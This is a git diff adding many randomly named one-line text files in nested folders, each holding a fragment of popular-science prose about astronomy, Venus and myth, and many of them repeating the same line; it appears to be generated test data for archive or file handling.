diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/tzyktydooocn.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/tzyktydooocn.txt
new file mode 100644
index 0000000..5d6a922
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/tzyktydooocn.txt
@@ -0,0 +1 @@
+having death or slavery continually before my eyes?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/unzuaokvwgrgwnodet.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/unzuaokvwgrgwnodet.txt
new file mode 100644
index 0000000..a61ee87
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/unzuaokvwgrgwnodet.txt
@@ -0,0 +1 @@
+Venus - and probably the Earth as well. The inner solar system will then reside within the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/vjpywyrekdo.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/vjpywyrekdo.txt
new file mode 100644
index 0000000..cf8fcc6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/vjpywyrekdo.txt
@@ -0,0 +1 @@
+and fragments were again read. Leonardo and Columbus and Copernicus were inspired by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/wekzoskrgnllgnsuwcofds.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/wekzoskrgnllgnsuwcofds.txt
new file mode 100644
index 0000000..36fae59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/wekzoskrgnllgnsuwcofds.txt
@@ -0,0 +1 @@
+in the television series, do not appear here - in part because the Cosmic Calendar is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/xsdewwuiuzrhcnrk.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/xsdewwuiuzrhcnrk.txt
new file mode 100644
index 0000000..c997f03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/xsdewwuiuzrhcnrk.txt
@@ -0,0 +1 @@
+eye can see, with patterns on their skin, an adaptive camouflage implying that they have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hxarnwdtrd/zqdjzjsbalnrozmvruvva.txt b/big_zip/big-zip-files/folder_hxarnwdtrd/zqdjzjsbalnrozmvruvva.txt
new file mode 100644
index 0000000..54f0ac3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hxarnwdtrd/zqdjzjsbalnrozmvruvva.txt
@@ -0,0 +1 @@
+the lower animals; the penultimate attempt, a near miss, made the monkeys. In Chinese myth, human beings
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_clwlsnbohfswq.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_clwlsnbohfswq.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_clwlsnbohfswq.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_efxkyjedsz.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_efxkyjedsz.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_efxkyjedsz.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_gpjemfovjdcve.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_gpjemfovjdcve.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_gpjemfovjdcve.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_hprrzbtcdf.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_hprrzbtcdf.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_hprrzbtcdf.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_jwhpkinpunns.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_jwhpkinpunns.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_jwhpkinpunns.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_nevspfdnjgumtzin.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_nevspfdnjgumtzin.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_nevspfdnjgumtzin.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_nghotsalmf.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_nghotsalmf.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_nghotsalmf.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_oicjcpudetqnisfn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_oicjcpudetqnisfn.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_oicjcpudetqnisfn.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_opiolhfn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_opiolhfn.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_opiolhfn.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_qawpaehgomwopgfpekqjhdi.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_qawpaehgomwopgfpekqjhdi.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_qawpaehgomwopgfpekqjhdi.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/file_xvnfqqenrxexgznpkzy.txt b/big_zip/big-zip-files/folder_hypzuqhumd/file_xvnfqqenrxexgznpkzy.txt
new file mode 100644
index 0000000..81579e0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/file_xvnfqqenrxexgznpkzy.txt
@@ -0,0 +1 @@
+casually read the inscriptions, which had mystified everyone else, answering the question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_acbfbwhqlqtedgebn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_acbfbwhqlqtedgebn.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_acbfbwhqlqtedgebn.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_cilxagqfgqcwusdkln.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_cilxagqfgqcwusdkln.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_cilxagqfgqcwusdkln.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_datdwjjhtoblpdirnupyh.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_datdwjjhtoblpdirnupyh.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_datdwjjhtoblpdirnupyh.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_dplgifaqa.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_dplgifaqa.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_dplgifaqa.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jjvzqauhdqfywx.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jjvzqauhdqfywx.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jjvzqauhdqfywx.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jqcflqgi.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jqcflqgi.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jqcflqgi.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jswbfabkbmjobowtfbulo.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jswbfabkbmjobowtfbulo.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_jswbfabkbmjobowtfbulo.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_kuribroxvrtwlxrbz.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_kuribroxvrtwlxrbz.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_kuribroxvrtwlxrbz.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_myoilriobatp.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_myoilriobatp.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_myoilriobatp.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_nhtqaxptnwabaebhvgc.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_nhtqaxptnwabaebhvgc.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_nhtqaxptnwabaebhvgc.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_pjjoqwmlhhwqrsysggeti.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_pjjoqwmlhhwqrsysggeti.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_pjjoqwmlhhwqrsysggeti.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_rpamwueutpqcvczxuphxl.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_rpamwueutpqcvczxuphxl.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_rpamwueutpqcvczxuphxl.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_skcaxwbqmffipojqwdnlwkjb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_skcaxwbqmffipojqwdnlwkjb.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_skcaxwbqmffipojqwdnlwkjb.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_twihrfxyywhe.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_twihrfxyywhe.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_twihrfxyywhe.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_urhphoisjcbiunichicij.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_urhphoisjcbiunichicij.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_urhphoisjcbiunichicij.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_utxvulhhxqchmaqzsvrb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_utxvulhhxqchmaqzsvrb.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_utxvulhhxqchmaqzsvrb.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_vyzblkxznneugzlxdact.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_vyzblkxznneugzlxdact.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_vyzblkxznneugzlxdact.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ymmmtjymwcrnwmccdqlrmzhr.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ymmmtjymwcrnwmccdqlrmzhr.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ymmmtjymwcrnwmccdqlrmzhr.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ztwpzqkzsv.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ztwpzqkzsv.txt
new file mode 100644
index 0000000..f11a085
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/file_ztwpzqkzsv.txt
@@ -0,0 +1 @@
+brighter stars that are somewhat more distant. All places on Earth are, to high precision, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ammimdbldindtx.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ammimdbldindtx.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ammimdbldindtx.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_bauqccqlpaxyqavo.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_bauqccqlpaxyqavo.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_bauqccqlpaxyqavo.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_cmspduptzwkuxefb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_cmspduptzwkuxefb.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_cmspduptzwkuxefb.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ejxtmzvoqxpl.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ejxtmzvoqxpl.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ejxtmzvoqxpl.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_epkznrczrkyjkhxnzi.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_epkznrczrkyjkhxnzi.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_epkznrczrkyjkhxnzi.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_esifdkbjf.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_esifdkbjf.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_esifdkbjf.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_fanhxyytxjhfkvszwkmn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_fanhxyytxjhfkvszwkmn.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_fanhxyytxjhfkvszwkmn.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_hqneoqrneaffsythsn.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_hqneoqrneaffsythsn.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_hqneoqrneaffsythsn.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ilvvxpixjmomqsspg.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ilvvxpixjmomqsspg.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ilvvxpixjmomqsspg.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_jzjymdgawkwloclvppzk.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_jzjymdgawkwloclvppzk.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_jzjymdgawkwloclvppzk.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhspmxpcbbduzp.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhspmxpcbbduzp.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhspmxpcbbduzp.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhxcjffyuiseatpfpbl.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhxcjffyuiseatpfpbl.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_lhxcjffyuiseatpfpbl.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_nyydtycnmsqexbohjwij.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_nyydtycnmsqexbohjwij.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_nyydtycnmsqexbohjwij.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ruaheomelwkjmmx.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ruaheomelwkjmmx.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_ruaheomelwkjmmx.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_scipqwku.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_scipqwku.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_scipqwku.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_tqtkkiwo.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_tqtkkiwo.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_tqtkkiwo.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_uexkplxbxkjoldysltgoh.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_uexkplxbxkjoldysltgoh.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_uexkplxbxkjoldysltgoh.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_vanossqc.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_vanossqc.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_vanossqc.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_wcgmaxommbovohlegmstltmk.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_wcgmaxommbovohlegmstltmk.txt
new file mode 100644
index 0000000..4ad1cef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/file_wcgmaxommbovohlegmstltmk.txt
@@ -0,0 +1 @@
+the surface and keep the Venus ground temperature at about 480°C. If the latter number applies - and my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/cpfisvrenjmb.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/cpfisvrenjmb.txt
new file mode 100644
index 0000000..6605ef3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/cpfisvrenjmb.txt
@@ -0,0 +1 @@
+the speed of light for special relativistic time dilation to become important. Even with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/czdvxvtzzlhylebvrenae.txt b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/czdvxvtzzlhylebvrenae.txt
new file mode 100644
index 0000000..c0d96b4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_hypzuqhumd/folder_yaudlvbulx/folder_qhuqnrdsuo/folder_ucfsnrfnrw/czdvxvtzzlhylebvrenae.txt
